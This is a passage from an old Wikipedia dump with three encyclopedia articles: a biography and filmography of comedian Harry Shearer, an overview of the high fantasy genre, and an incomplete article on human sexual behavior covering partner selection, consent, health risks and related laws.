'''Harry Julius Shearer''' (born [[December 23]], [[1943]], [[Los Angeles, California]]) is an [[United States|American]] comedic [[actor]] and [[writer]] who began his career as a child actor in [[1950s]] [[film|movies]] (''[[The Robe]]'') and [[television]] (''[[Jack Benny|The Jack Benny Program]]''). Shearer also played Frankie in the pilot episode of the TV series ''[[Leave It to Beaver]]''.

Shearer was later a member of Los Angeles [[radio]] comedy group [[The Credibility Gap]], 1968&amp;ndash;1974, and regular on ''[[Saturday Night Live]]'' in 1979&amp;ndash;1980 but quit before the end of the season and 1984&amp;ndash;1985, and also quit before season's end -- both times for creative differences. Shearer co-created, co-wrote and co-starred in [[Rob Reiner]]'s 1984 film ''[[This Is Spinal Tap]]'' with [[Michael McKean]] and [[Christopher Guest]]; the three of them also collaborated on the acclaimed 2003 spoof ''[[A Mighty Wind]]'', which was written by Guest and [[Eugene Levy]], and directed by Guest.  

Shearer's television work also includes two specials for Cinemax, &quot;It's Just TV&quot;, and &quot;This Week Indoors&quot; (co-created with Merrill Markoe) and &quot;The Magic of Live&quot;.  He directed the entire six-episode HBO series, &quot;The History of White People in America&quot;, co-created by [[Martin Mull]] and Allen Rucker, as well as the two-hour feature finale of the series, &quot;Portrait of a White Marriage&quot;.  He also co-wrote and directed Paul Shaffer's fantasy special for HBO, &quot;Viva Shaf Vegas&quot; (with Shaffer and Tom Leopold).  His first theatrical feature, which he wrote and directed, was &quot;[[Teddy Bears' Picnic]]&quot;, a dark comedy loosely based on the workings of [[Bohemian Grove]], the secret retreat of the elite.

Shearer has two books published, &quot;Man Bites Town&quot; (a collection of his Los Angeles Times Magazine columns) and &quot;It's the Stupidity, Stupid&quot;. As of 2005, he is finishing work on a comic novel about Native Americans and gambling called &quot;Not Enough Indians&quot;. [http://www.audiobookstoday.com/FtrLst.cfm?FtrCatCod=1&amp;Code=980]

Shearer is probably best known for his prolific work as a [[voice actor]] on ''[[The Simpsons]]'' (1989 to date), where he does the voices of [[Mr. Burns]], [[Waylon Smithers]], [[Ned Flanders]], [[Reverend Timothy Lovejoy]], [[Kent Brockman]], [[Dr. Julius Hibbert]], and Principal [[Seymour Skinner]], among others. He was one of three Simpsons [[vocalist]]s to guest star on the show ''[[Friends]]''; the other two were [[Dan Castellaneta]] and [[Hank Azaria]].

Since 1983 Shearer has been the host of the public radio comedy/music program ''[[Le Show]]'' on [[Santa Monica]] [[National Public Radio|NPR]] affiliated radio station [[KCRW]].  The show is podcast and airs on public radio stations throughout the country. He is the regular [[announcer]] for [[TV Land]] and, since mid-2004, for [[KIRO-AM]] radio in [[Seattle, Washington|Seattle]]. Since May 2005 he's been a contributing blogger at [[The Huffington Post]]. Shearer has homes in both [[Santa Monica, California]] and the [[French Quarter]] of [[New Orleans, Louisiana]]. According to a telephone call on ''Ask [[Mr. KABC]]'', his house survived [[Hurricane Katrina]] and he is alive and well.

Since 1993, Shearer has been married to [[singer-songwriter]] [[Judith Owen]].

==Filmography==
[[Image:mighty wind.jpg|thumb|Shearer in ''[[A Mighty Wind]]''.]]
*''[[Chicken Little]]'' (2005)
*''[[A Mighty Wind]]'' (2003) 
*''[[Teddy Bears' Picnic]]'' (2002) 
*''[[Haunted Castle]]'' (2001) 
*''[[Out There]]'' (2001) 
*''[[Haiku Tunnel]]'' (2001) 
*''[[Catching Up with Marty DiBergi]]'' (2000) (V)
*''[[Edwurd Fudwupper Fibbed Big]]'' (2000) 
*''[[Dick]]'' (1999) 
*''[[Ghost Dog: The Way of the Samurai]]'' (1999) 
*''[[Encounter in the Thrid Dimension]]'' (1999) 
*''[[Edtv]]'' (1999) 
*''[[Small Soldiers]]'' (1998) (voice) 
*''[[The Truman Show]]'' (1998) 
*''[[Almost Heroes]]'' (1998) 
*''[[Godzilla]]'' (1998) 
*''[[My Best Friend's Wedding]]'' (1997) 
*''[[State of the Union: Undressed]]'' (1996) (TV) 
*''[[Blazing Dragons]]'' (1996) (VG)  
*''[[The Show Formerly Known as the Martin Short Show]]'' (1995) (TV) 
*''[[Sliders]]'' (1995) (TV) (uncredited)  
*''[[The News Hole]]'' (1995) TV Series 
*''[[Speechless]]'' (1994)  
*''[[Little Giants]]'' (1994) 
*''[[I'll Do Anything]]'' (1994) 
*''[[Wayne's World 2]]'' (1993) 
*''[[Comic Relief: Baseball Relief '93]]'' (1993) (TV) 
*''[[A League of Their Own]]'' (1992) 
*''[[Spinal Tap: Break Like the Wind - The Videos]]'' (1992) (V) (as Derek Smalls) 
*''[[The Fisher King (movie)|The Fisher King]]'' (1991) 
*''[[Blood and Concrete]]'' (1991) 
*''[[Pure Luck]]'' (1991)  
*''[[Oscar (1991 movie)|Oscar]]'' (1991/I) 
*''[[Sunday Best]]'' (1991) TV Series 
*''[[Hometown Boy Makes Good]]'' (1990) (TV) 
*''[[The Simpsons]]'' (1989 - present) 
*''[[My Stepmother Is an Alien]]'' (1988) 
*''[[Plain Clothes]]'' (1988) 
*''[[Portrait of a White Marriage]]'' (1988) 
*''[[Spaceballs]]'' (1987) (uncredited)  
*''[[Spitting Image: The Ronnie and Nancy Show]]'' (1987) (TV) 
*''[[Flicks]]'' (1987) (voice) 
[[Image:Derek Smalls.jpg|thumb|Shearer as [[Derek Smalls]].]]
*''[[The History of White People in America: Volume II]]'' (1986) (TV) 
*''[[Spitting Image: Down and Out in the White House]]'' (1986) (TV) 
*''[[Viva Shaf Vegas]]'' (1986) (TV) 
*''[[The History of White People in America]]'' (1985) (TV) 
*''[[This Is Spinal Tap]]'' (1984) 
*''[[The Right Stuff]]'' (1983) 
*''[[Million Dollar Infield]]'' (1982) (TV) 
*''[[Likely Stories, Vol. 1]]'' (1981) TV Series 
*''[[One Trick Pony]]'' (1980) 
*''[[Loose Shoes]]'' (1980) 
*''[[Animalympics]]'' (1980) 
*''[[Saturday Night Live]]'' (1979-1980, 1984-1985)
*''[[The Fish That Saved Pittsburgh]]'' (1979) 
*''[[The T.V. Show]]'' (1979) (TV) 
*''[[Real Life (film)|Real Life]]'' (1979) 
*''[[Cracking Up]]'' (1977) 
*''[[American Raspberry]]'' (1977) 
*''[[Serpico: The Deadly Game]]'' (1976) (TV) 
*''[[The Jack Benny Program]]'' (1955) (guest voice) TV Series - Harry Beaver
*''[[The Jack Benny Program]]'' (1953) (guest voice) TV Series - Jack as a Child
*''[[The Robe]]'' (1953) (uncredited) 
*''[[Abbott and Costello Go to Mars]]'' (1953) (uncredited)

==Books by Harry Shearer==
*(1993) ''Man Bites Town''. St Martins Pr. ISBN 0312088426.
*(1999) ''It's the Stupidity, Stupid : Why (Some) People Hate Clinton and Why the Rest of Us Have to Watch (Library of Contemporary Thought)''. Ballantine Books. ISBN 0345434013.

==External links==
*[http://www.harryshearer.com/ Harry Shearer's official site]
*[http://www.huffingtonpost.com/eat-the-press Harry Shearer's blog at the [[Huffington Post]]]
*{{Imdb name|id=0790434|name=Harry Shearer}}
*[http://voicechasers.com/database/showactor.php?actorid=1207 Harry Shearer] at [http://www.voicechasers.com Voice Chasers]


[[Category:1943 births|Shearer, Harry]]
[[Category:Actors and actresses appearing on ER|Shearer, Harry]]
[[Category:American actors|Shearer, Harry]]
[[Category:American comedians|Shearer, Harry]]
[[Category:American radio personalities|Shearer, Harry]]
[[Category:American satirists|Shearer, Harry]]
[[Category:American voice actors|Shearer, Harry]]
[[Category:Film actors|Shearer, Harry]]
[[Category:Impressionists|Shearer, Harry]]
[[Category:KCRW|Shearer, Harry]]
[[Category:Living people|Shearer, Harry]]
[[Category:People from Los Angeles|Shearer, Harry]]
[[Category:Saturday Night Live cast members|Shearer, Harry]]
[[Category:Simpsons cast members|Shearer, Harry]]
[[Category:Television actors|Shearer, Harry]]</text>
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    <title>Hunter S Thompson</title>
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  <page>
    <title>High fantasy</title>
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        <username>Bryan Derksen</username>
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      <comment>/* Saga or series */ references</comment>
      <text xml:space="preserve">{{Fantasy}}
'''High fantasy''' is a [[Genre|subgenre]] of [[fantasy fiction]] that is set in invented or [[parallel world|parallel worlds]].  Built upon the platform of a diverse body of works in the already very popular fantasy genre, high fantasy came into fruition through the work of authors such as [[C. S. Lewis]] and [[J. R. R. Tolkien]].  While it is far from being the oldest fantasy subgenre, high fantasy, along with [[sword and sorcery]], has become one of the two genres most commonly associated with the general term ''fantasy''.

== Genre overview ==
These stories are reputedly serious in tone and often epic in scope, dealing with themes of grand struggle against [[supernatural]], [[evil]] forces. It is one of the most popular subgenres of fantasy fiction. Some typical characteristics of high fantasy include fantastical races such as [[elves]] and [[dwarves]], [[magic (paranormal)|magic]], [[wizard]]s, invented languages, coming-of-age themes, and multi-volume narratives.

The term can also distinguish between high fantasy and [[low fantasy]]. In this case, &quot;high&quot; and &quot;low&quot; simply describe the relative amount of [[supernatural]] forces in the world. In some fiction, a contemporary, &quot;real-world&quot; character is placed in the invented world, sometimes through devices such as portals to other worlds or even [[subconscious]] travels. Purists might not consider this to be &quot;true&quot; high fantasy, although such stories are often categorized as high fantasy due to the fact that they've yet to be classified as their own distinct subgenre, and often resemble this subgenre more closely than any other.

High fantasy is the most popular and successful subgenre of the fantasy fiction. Its fandom ranges from Tolkien to contemporary. Recent screen versions of ''[[The Lord of the Rings]]'' have contributed to the subgenre's continuing popularity. Moreover some novels are in preproduction status for movie adaptations like David Farland's ''Runelords'' and [[Terry Brooks]]' ''[[Magic Kingdom (Terry Brooks)|Magic Kingdom of Landover]]''.

=== Concepts ===
One of the main concepts of the high fantasy storylines is the main [[hero]]'s storyline. Most of the main characteristics revolve around his heritage. In many novels he is mostly an unusual [[orphan]] or an unusual and strange sibling with some (or more) incredible abilities and skills in a particular area (most of the time - [[magic]]) - e.g. [[Terry Goodkind]]'s [[Richard Rahl]], [[Robert Jordan]]'s [[Rand al'Thor]] of ''[[The Wheel of Time]]'', [[Raymond Feist]]'s [[Pug_(fictional_character)|Pug]] of ''[[Riftwar Saga]]'', [[Christopher Paolini]]'s [[Eragon (character)|Eragon]] of '' The [[Inheritance Trilogy]]'', [[David Eddings]]' [[Belgarion]] of ''[[Belgariad]]'', [[Tad Williams]]' Simon of ''[[Memory, Sorrow, and Thorn]]''. In other works he is a completely developed individual with his own character and spirit - David Eddings' [[Sparhawk]] of ''[[The Elenium]]'' and ''[[The Tamuli]]''. 

In most stories, the hero, considering his dark and vague heritage, slowly gains knowledge of his past, through legend, prophecy, lost-and-found-again family members, or from more mysterious encounters. With that knowledge comes power and self-confidence. In many books there is a love interest surrounding the main character. Usually, she is as selfless and good as the [[main character]].

In the beginning of the storyline, there is one important twist or event in the life of the character. He is threatened by the unknown force. Many times, the character is destined to destroy the evil force, or to be a threat himself of some importance. In many books there is one mystical persona who provides the main character with advice and help. Mostly he is a formidable wizard or warrior. Examples would be: the wizard [[Kulgan]] of [[Riftwar Saga]], Tolkien's [[Gandalf]], and [[Allanon]] of Terry Brooks.

Plagiarism of ideas sometimes makes novels dull or repetitive. Many of the novels are strongly influenced by Tolkien's ''[[The Lord of the Rings]]'', which is considered the groundwork of the genre.

=== Saga or series ===
Role-playing campaign settings like [[Forgotten Realms]] by [[Ed Greenwood]] and [[Dragonlance]]&lt;ref&gt;{{cite web|url=http://www.dragonlance.com| title=Dragonlance homepage| accessdate=2006-03-02| format=HTML}}&lt;/ref&gt; by [[Tracy Hickman]] and [[Margaret Weis]]' are an excellent basis for many fantasy books and many authors continue to contribute to the settings.

From [[J.R.R. Tolkien|Tolkien]] to the modern day, authors in this genre tend to create their own worlds where they set multi-tiered narratives such as the ''Riftwar'' saga, ''Belgariad'', ''Malloreon'' and ''Memory, Sorrow and Thorne''. Other authors such as George R.R. Martin, Robert Jordan, L. E. Modesitt, Jr., and Terry Goodkind write extended stories over several volumes relating with the same character threads.

==References==
&lt;references/&gt;

==See also==

*[[Eric Rucker Eddison]] (''[[The Worm Ouroboros]]'' and ''The [[Zimiamvian Trilogy]]'')  was a pre-Tolkien high fantasy writer. 
*[[List of high fantasy fiction]]

[[Category:Fantasy genres]]

[[de:High Fantasy]]
[[ja:ハイ・ファンタジー]]
[[fi:High Fantasy]]
[[zh:严肃奇幻]]</text>
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  <page>
    <title>Human sexual behavior</title>
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      <comment>/* Types of partner */</comment>
      <text xml:space="preserve">:''This article represents only a narrow and limited range of actual human sexual behavior. Appropriate tag needed.''


:''This article is about sex acts and practices (i.e., physical sex).  Broader aspects of sexual behavior such as [[social]] and [[psychological]] sexual issues are covered in related articles such as [[human sexuality]], [[heterosexuality]], and [[homosexuality]].'' 

[[Sexual activity]] in [[human]]s is an [[Instinct|instinctive]] form of [[physical intimacy]]. It may be performed for the purposes of [[reproduction]], spiritual [[transcendence]], expressing [[affection]], and/or having fun and enjoying oneself (known in this context as &quot;sexual gratification&quot;).  [[libido|The desire to have sex]] is one of the [[motivation|basic drives]] of human behavior. Every animal species, and every human culture, has a range of conduct used in [[courtship]], [[intimacy]], and [[sexual activity]]. 

'''Human sexual behavior''' is therefore, the behaviors that [[human being]]s use, when seeking sexual or relational partners, gaining approval of possible partners, forming [[relationship]]s, showing [[affection]], and [[mating]]. 

It covers at least two major areas: [[anthropology]] (common or acepted practices across different cultures), and [[information]]al (background which is useful to individuals who may be engaged in, or considering, sexual activity)


==Aspects of human sexual behavior==

===Sexuality and sensuality===

There is no clear borderline between the sexual and nonsexual enjoyment of [[touching]] someone else's body. For example, [[holding hands]] may or may not have a sexual connotation, depending on [[culture]], situation and other factors. Although the most common form of [[heterosexuality | heterosexual]] [[sexual intercourse]] is universally regarded as sexual contact, there is a wide range of other sexual behaviors that may or may not be socially, legally, or ethically considered as ''sexual relations''. The distinction between the sexual and the nonsexual becomes relevant in judging appropriate behavior, in either a social setting or in the eyes of the law.

Some criteria that may be applied are:
*the body parts involved (see also [[intimate parts]])
*physical signs of [[sexual arousal]]
*subjective [[feeling]]

Enjoying touching someone else's body implies enjoying one's own body also; the latter may also happen without another person; enjoying one's own body also may or may not be of a sexual nature. If it is, it is called [[autoeroticism]].

The whole of one's sexual activities (including [[wet dream|erotic dreams]] and waking sexual [[fantasy|fantasies]] and [[daydream]]s) is called one's '''sex life'''.

=== Desire and fantasy ===
'''Sexual desire''' or '''[[libido]]''' is the desire for sexual behavior. Most people focus their sexual desire on someone that they have a sexual relationship with, or would desire to have a sexual relationship with. See also [[sexual arousal]], [[sexual orientation]].

Many people enjoy fantasizing about, or reading or viewing, or seeing depictions of, [[sexual fantasies]] that they may not wish to engage in themselves, or that they would be unable to engage in themselves; see [[pornography]] and [[erotica]].

=== Sexual relationships ===
Opinions and [[norm]]s vary about whether an emotional bond of a certain intensity and durability should be a prerequisite for sex (see also below). 

Like other [[primate]]s, ''[[Homo sapiens]]'' use sexuality for reproduction and for maintenance of social bonds. It is widely believed that children are capable of feeling sexual pleasure, even if they are not yet able to engage in [[sexual intercourse]] with each other, and/or are not yet biologically able to reproduce. Yet, [[child sexuality]] has historically been severely limited in western societies; in the late 19th century, the [[hysteria]] surrounding so-called &quot;self-abuse&quot; ([[masturbation]]) among children reached its peak and fueled the adoption of [[circumcision]] (including [[female circumcision]]) in some cultures. 

Many sexual activities can be engaged in by same sex or opposite sex partners. However some, most notably vaginal [[sexual intercourse]], can only be engaged in by partners of opposite sexes. And others, such as [[tribadism]] and [[frot|frication]] can only be engaged in by partners of the same sex.

=== Cultural aspects ===
As with other behaviors, human high intelligence and complex societies have produced the most complicated sexual behaviors of any animal. Most people experiment with a range of sexual activities during their lives, though they tend to engage in only a few of these regularly. Most people enjoy some sexual activities.  However, most societies have defined some sexual activities as inappropriate (wrong person, wrong activity, wrong place, wrong time, etc.) Some people enjoy many different sexual activities, while others avoid sexual activities altogether for religious or other reasons (see [[chastity]], [[sexual abstinence]], [[asexuality]]).  Historically, some societies and [[religions]] have viewed sex as appropriate only within [[marriage]]. There is still a widespread belief that sex acts are devalued when engaged in outside of a long-term, [[monogamous]] [[romantic relationship]], but extra-marital sexual activity and [[casual sex]] became increasingly accepted in modern society during the [[sexual revolution]].

=== Social norms and rules ===
Human sexual behavior, like many other kinds of activity engaged in by human beings, is generally governed by social rules that are culturally specific and vary widely (see [[sexual morality]], [[sexual norm]]s). 

Some activities are actually illegal in some jurisdictions even between (or among) consenting and competent adults (see [[sex crime]], [[sodomy law]], [[incest]]).

Some people engage in various sexual activities as a business transaction; this is called [[prostitution]]. 

Nearly all societies consider it a serious crime to force someone to engage in sexual behavior or to engage in sexual behavior with someone who does not consent. This is called sexual assault, and in the case of sexual intercourse it is called [[rape]], the most serious kind of sexual assault. The details of this distinction may vary among different legal jurisdictions. Also, precisely what constitutes effective consent to have sex varies from culture to culture and is frequently debated.  In particular laws regulating what constitutes consent, including the minimum age at which a person can consent to have sex, are frequently the subject of political and moral debate (see [[age of consent]]).

===Types of partner===
Sexual partners can cover many types, including:
* [[Friends with benefits]]
* &quot;[[Fuck buddy|Fuck buddies]]&quot;
* [[Boyfriend]] or [[girlfriend]]
* [[Casual partner]]s
* [[Marriage]] or other committed long term relationship
* [[Holiday romance]]s
* Illicit [[affair]]s
* [[Polyamory|Secondary or side relationships]]

Any of these may be explicit, or hidden, deceptive or honest, and may include [[fidelity]] or not.

It is also possible to engage in sexual activity without a partner, or (in some cases) without a knowing partner:
* [[Masturbation]]
* [[Sexual fantasy|Sexual fantasizing]]
* Several [[paraphilia]]s ([[transvestitism]], [[voyeurism]], [[frottage]], and so on)

== Partner selection process ==

A key sexual behavior throughout the entire animal kingdom is the seeking of a sex partner.  Humans are no exception to this rule.  A sexual encounter can be the result of the sending signals indicating readiness for sex, and being receptive to reciprocal signals.  Or, it might be the result of years of planning, through the use of cultural rituals such as courtship and marriage.

Common methods:
* Arranged partnership - other adults (often parents) choose partners. In some cultures these are suggestions, in others, they carry the force of commands.
* Personal choice - a person chooses for themselves their own partner, according to their own wishes
* Status based roles - a high status person in some cultures may choose partners backed by the force of social custom, and low status persoons have little or no choice or expectation of avoiding the same. (For example, some employer-employee liaisons, and [[droit de signeur]])
* Mutual trade - [[prostitution]], or &quot;both gain&quot; type of arrangements.

Additionally, the pool of available and acceptable candidates may be limited, to own town, own religion, similar status, tactically advantageous (eg to cement social bonds or make peace), and so on.

=== The search for a partner ===
==== Locating and identifying potential partners ====
Before having sex with another person, first it is necessary to find a partner. 

Where does one look?  One will never know when or where one will meet someone one is attracted to, so the simple answer to this question is: everywhere!  In the supermarket, in restaurants, at the movies, on the monorail; in short, if you can think it, then it is possible.

Entire industries devoted to enabling sex or sexual communication exist, such as: [[nightclub]]s, [[singles bar]]s, [[Personal advertisement|personal want ads]] (in newspapers and on the web), [[Dating system|dating services]], and [[Prostitution|brothels]], to name just a few.  Many organizations and clubs sponsor events that bring people with similar interests together.  Religious and family connections provide another way for people to meet.

==== The encounter between potential partners ====
Once a person has located another person with whom they desire to have sex, the first thing to be done is to introduce themselves or position themselves in such a way that he or she will introduce himself or herself. This may not be as simple as it sounds. 

==== Communication and signals ====
The [[communication]] between people that can lead to a sexual liaison are necessarily subtle and complex.  An overt declaration, ''e.g.'' &quot;I would like to have sex with you&quot; is more likely than not to be rebuffed.  From early childhood, strategies for successful communication are learned and honed through practice.  Much of this communication is [[Nonverbal communication|nonverbal]].  By adulthood, the subtleties of [[Eye contact|meeting the eyes]] of another, [[Smile|smiling]], [[laugh]]ing and [[flirt]]ing have been practiced and learned.  

Once a person has taken advantage of opportunities to enter into communication with a potential sex partner, then the likelihood and speed with which that communication will lead to sexual intercourse depend on a combination of cultural norms, the person's desire for a relationship, and the person's skill at [[Interpersonal relationship|interpersonal communication]]. A successful communication is one that goes two ways. Listening well, including picking up on non-verbal cues, is a crucial skill. [[Active listening]], in which the listener responds to indicate understanding, is a direct route to successful communication.

====The decision to have sex ====
The decision to have sex is a highly personal one, and in most societies, forcing another to engage in a sexual activity without mutual agreement (&quot;[[consent]]&quot;) is a serious [[crime]]. Sexual behavior is a [[continuum]], with affectionate behavior at one end, and full sexual activity at the other.  Different cultures and individuals may have different criteria to judge when different forms of sex are appropriate. 

Common criteria for full sexual activity can include:

* ''No prerequisites''&lt;br&gt;This is known as [[casual sex]].  A person is asked if he or she wants to have sex, or intent is signaled through non-verbal cues. Contrary to its name, casual sex need not be casual. Rather, it implies that a formal enduring partnership bond is not perceived as a necessity for two people to enjoy each others company as physical as well as emotional friends.
* ''Blood tests required''&lt;br&gt;This is when one requires that his or her potential sexual partners be tested for [[sexually transmitted infections]] before deciding whether or not to have sex with them.  The most reliable approach is to contact the clinic or lab directly for the test results (which requires the person who was tested accompany you or give you written permission).
* ''Steady dating or steady bond''&lt;br&gt;Many people follow the rule &quot;no sex on the first date&quot;, implying that you must have more than one date in order to have sex with them.  What this actually means is that they want to get to know you first, and sex is only going to happen if it forms part of a progression when they like you well enough (or fall in love).
* ''Agreement that the couple are &quot;in love&quot;''&lt;br&gt;Many people prefer to have sex only with someone whom they are in love with. This may be a result of personal preference, or a result of negative past experiences with [[casual sex]].
* ''Formally commited partnership (marriage)''&lt;br&gt;Some people believe in not having sex until they are married.  Many [[religion]]s require that one wait until he or she is married before having sex. Contrary to popular belief, the most popular reason, either directly or indirectly, is not because of the belief that their sexuality is &quot;bad&quot;, but contrarily that it is the most sacred act a couple can share, and thus worthy of being shared with one person and one person only.
The chosen criteria for other forms of sexual activity, such as [[safer sex]], [[fondling]], [[cuddling]], [[frottage]], and [[oral sex]] are even more varied both between cultures and amongst individuals.

===Common variations on partner selection===
==== Same sex====
====Different sex====
====Other====

=== Potential problems ===
==== The fear of rejection ====
The fear of [[Rejection (emotion)|rejection]] is common when trying to befriend a potential partner. If the participants are both [[Sensitivity (human)|sensitive]] to the other's signals, then they can detect quickly whether their sexual objectives are mutual. If they discover soon enough that their objectives are at odds with one another, then a conversation can end before either one [[Embarrassment|loses face]], and then each person can seek others with whom to communicate. On the other hand, if the communication results in an escalating sense of [[Emotional intimacy|intimacy]] for both participants, then a degree of [[trust]] is established that mitigates the fear of rejection.

== Sexual activity==

===Common sexual activity===

=== Variations with same v. opposite gender===
====Different-gender sexual practices====

Different-gender sexual practices are sexual activities between two or more individuals of more than one [[gender]], usually one [[man]] and one [[woman]]. People who engage exclusively in different-gender sexual practices do not necessarily identify themselves as straight or [[heterosexuality|heterosexual]], though (unlike homosexual for same-gender sexual practices) most definitions of &quot;heterosexual&quot; would include them despite varying levels of activity, frequency, and interest. In fact, they may identify themselves as straight or heterosexual, [[bisexuality|bisexual]], or not at all. Likewise, an individual who practices both same and different sex sexual behaviour may identify himself or herself as [[gay]], [[lesbian]], [[bisexuality|bisexual]], [[heterosexuality|straight]], or not at all.

Many situations, like [[Secondary education|public high school]], and cultural factors, such as [[anti-gay bias]] and [[anti-gay harassment|harassment]], [[heterosexism]] and [[heteronormativity]], may cause or encourage people who ordinarily would not have sexual relationships with people of a different gender to do so, but once gay people are away from such situations, they will usually return to same-sex sexual activity. In other cases, people may experiment with different (and/or same) gender sexual activity before settling on a [[sexual identity]], if ever.

Though often associated with [[gay]] men, [[anal sex]] is a common different-gender sexual practice. The anus is &quot;tighter&quot; than the vagina and thus may be preferable to the male during penetration; additionally, many people enjoy flouting cultural sexual [[taboo]]s. Anal sex is not advisable as [[birth control]] as it is still possible, though unlikely, for semen to enter the vagina.  Different-gender anal sex is also often practiced where the woman penetrates the man with a [[strap-on dildo]], known as [[pegging (sexual practice)|pegging]].

Different-sex sexual practices are limited by laws in America and many other places. In America marriage laws may serve the purpose of encouraging people to only have sex (and children) within marriage. [[Sodomy]] laws may be seen as encouraging different-sex sexual practices. Laws also ban adults from committing [[sexual abuse]], committing sexual activities with anyone under an [[age of consent]], performing sexual activities in public, and engaging in sexual activities for money ([[prostitution]]), though these laws all cover same-sex sexual activities they may differ with regards punishment and may more frequently or only be enforced on same-sex sexual activities. Laws also control the making and viewing of [[pornography]], including different-sex sexual activities.

[[Courting]], or dating, is the process through which people choose potential sexual and/or marital partners. Among straight (presumably [[middle-class]]) teenagers and adolescents in the mid-[[20th century]] in America, ''dating'' was something one could do with multiple people before choosing to &quot;go steady&quot; with only one, the eventual goal being either sex, marriage, or both. More recently ''dating'' has become what ''going steady'' was and the latter term has fallen into disuse.

Different-sex sexual practices may be [[monogamy|monogamous]], serially monogamous, or [[polyamorous]], and, depending on the definition of sexual practice, [[abstinence|abstinent]] or [[autoerotic]] (including [[masturbation]]).

Different moral and political movements have waged for changes in different-sex sexual practices including courting and marriage, though changes are usually made only slowly in all countries. Especially in the [[USA]], campaigns have often sparked and been fueled by [[moral panic]]. There, movements to discourage same-sex sexual practices often claim to be strengthening different-sex sexual practices within marriage, such as [[Defense of Marriage Act]] and the proposed [[Federal Marriage Amendment]].

====Same-gender sexual practices====

Same-gender sexual practices are sexual activities involving two or more individuals of the same gender. It is possible for homosexual acts to be committed by those who self-identify as heterosexual; e.g., mutual masturbation in the context of what may be considered &quot;normal&quot; heterosexual teen development.  Homosexual males who pretend to lead a life of heterosexuality are often referred to as living &quot;closeted&quot; lives, that is, they hide their sexuality in the &quot;closet&quot;.  The term &quot;closet case&quot; is a derogatory term used by homosexuals to refer to another homosexual that pretends to be heterosexual.

Despite stereotypes and common misconceptions, there are no forms of sexual activity exclusive to same-gender sexual behavior that can not also be found in opposite-gender sexual behavior, save those involving contact of the same sex genitalia. (see [[tribadism]], [[frot]])

Certain situations, like [[incarceration]] or single-sex schools and other sex-segregated environments, may often lead people who would not ordinarily seek sex with others of their own gender to this kind of sexual behavior.

In other cases, some people may experiment or explore their sexuality with same (and/or different) gender sexual activity before defining their [[sexual identity]]. Health campaigns and officials often seek to target self-identified &quot;straight&quot; or [[bisexuality|bisexual]] &quot;Men who have Sex with Men&quot; or &quot;Men who like Sex with Men&quot; (MSM) as opposed to self-identified &quot;gay&quot; or ''homosexual'' men. 

People who engage exclusively in same-sex sexual practices do not necessarily identify themselves as &quot;[[gay]]&quot; or &quot;[[lesbian]]&quot;, and different definitions of ''homosexual'' may include or exclude people with varying levels of activity, frequency, or interest.

Among some sectors of African-American homosexual sub-culture (called &quot;men on the DL&quot; or &quot;[[down-low]]&quot;), same-sex sexual behavior is sometimes viewed as solely for physical pleasure. Men on the &quot;down-low&quot; may engage in regular (though often covert) sex acts with other men while continuing sexual and romantic relationships with women. These men often shun the more commonly-known &quot;gay&quot; as a term applying to stereotypically flamboyant and effeminate men of European ancestry there, a group from which some may wish to distance themselves. 

Some sociologists and researchers in [[queer studies]] have suggested that this mostly African-American subculture may have come about because of stronger stigmas against same-sex behavior in African-American communities, and, due to more widespread poverty, greater dependence on possibly homophobic family networks for support.

''See also:'' [[cottaging]], [[cruising for sex]], [[gay bathhouse]], [[men who have sex with men]]. 



=== Variations between cultures ===

==Safety and ancillary issues==
There are four main areas of risk in sexual activity, namely:
* The risk of choosing to trust a person who is physically a risk
* The risk of [[sexually transmitted disease]]
* The risk of unwanted [[pregnancy]]
* The risk of seeking or engaging in an activity which is legally or culturally disapproved.
A final risk factor is any condition (temporary or permanent) which impairs one's judgement, such as excess [[alcohol]] or [[drugs]], or emotional states such as [[loneliness]], [[depression]] or [[euphoria]] (eg new students at college), because these may raise the risk of any of the above. Carefully considered activity can greatly reduce all of these issues.

=== Sexually transmitted disease ===
Sexual behaviors that involve contact with another person or the bodily fluids of another person entail some risk of transmission of [[sexually transmitted infections]], which is why [[safer sex]] techniques are recommended.  These techniques are generally seen as less necessary for those in committed monogamous relationships with persons who have been demonstrated to be free of disease; see [[fluid bonding]].

Due to [[health]] concerns arising from [[HIV]]/[[AIDS]], [[chlamydia]], [[syphilis]], [[gonorrhea]] and other [[sexually-transmitted infections]], some people may want potential [[sex]] partners be tested for [[Sexually-transmitted infection|STI]]s before engaging in [[sex]].

===Unwanted pregnancy===
Sexual behaviors that involve the contact of [[semen]] with the [[vagina]] or [[vulva]] may result in [[pregnancy]].  To prevent pregnancy, many people employ a variety of [[birth control]] measures. The most popular methods of prevention are condoms, spermicides, and the birth control pill.

=== Judgement impairment ===
[[Recreational drug use|Recreational drugs]] are often used in social settings in the belief that they enhance interpersonal communication.  Some common recreational drugs are [[ethanol|alcohol]], [[Cannabis (drug)|cannabis]], [[caffeine]] and [[nicotine]].  

* [[Alcoholic beverage|Alcohol]] is sometimes called a &quot;social lubricant&quot; because it reduces [[Social_Inhibition|inhibitions]], including those caused by the fear of rejection.  At the same time, though, alcohol impairs judgment, making a person less receptive to subtle signals, which can result in less effective communication.  More importantly, this judgement impairment can lead to poor decision-making regarding sex, such as engaging in [[unsafe sex]].
* [[Cannabis (drug)|Cannabis]] can induce increased appreciation for [[humour]] and [[art]], which might improve communication.  But at the same time, it can cause one to become [[Introspection|introspective]], and thus less inclined to communicate. 
* [[Caffeine]] and [[nicotine]] are [[stimulant]]s. Others include [[amphetamine]]s and [[cocaine]]. Stimulants can increase alertness and improve [[attention]], both of which can improve one's ability to communicate effectively. However, stimulants also have adverse health effects when used in large amounts.

Use of recreational drugs is frequently cited as a risk factor for health problems including [[sexually transmitted diseases]], [[addiction]], [[birth defects]], [[heart disease]], [[cancer]] and [[liver disease]], among others.[http://dancesafe.org/documents/druginfo/risk.php]

==Legal issues related to sexual behavior==

===Sodomy and same sex laws===
Various forms of same-gender sexual activity have been prohibited under law in many areas at different times in history. In 2003, the [[Lawrence v Texas]] United States Supreme Court decision overturned all such laws in the US.

Usually, though not always, such laws are termed [[sodomy law]]s, but also include issues such as [[age of consent]] laws, &quot;decency&quot; laws, and so forth. Laws prohibiting same-gender sexuality have varied widely throughout history, varying by culture, religious and social taboos and customs, etc. Often such laws are targeted or applied differently based on gender as well. For example, laws against same-gender sexual behavior in [[England]] during the reign of [[Victoria of the United Kingdom|Queen Victoria]], sodomy or &quot;buggery&quot; laws were aimed specifically at male same-gender sexual activity and did not target or even address female same-gender sexual activity. A well known example of such laws applied in modern times can be found in [[Alan Turing]].

== List of sex acts and practices ==

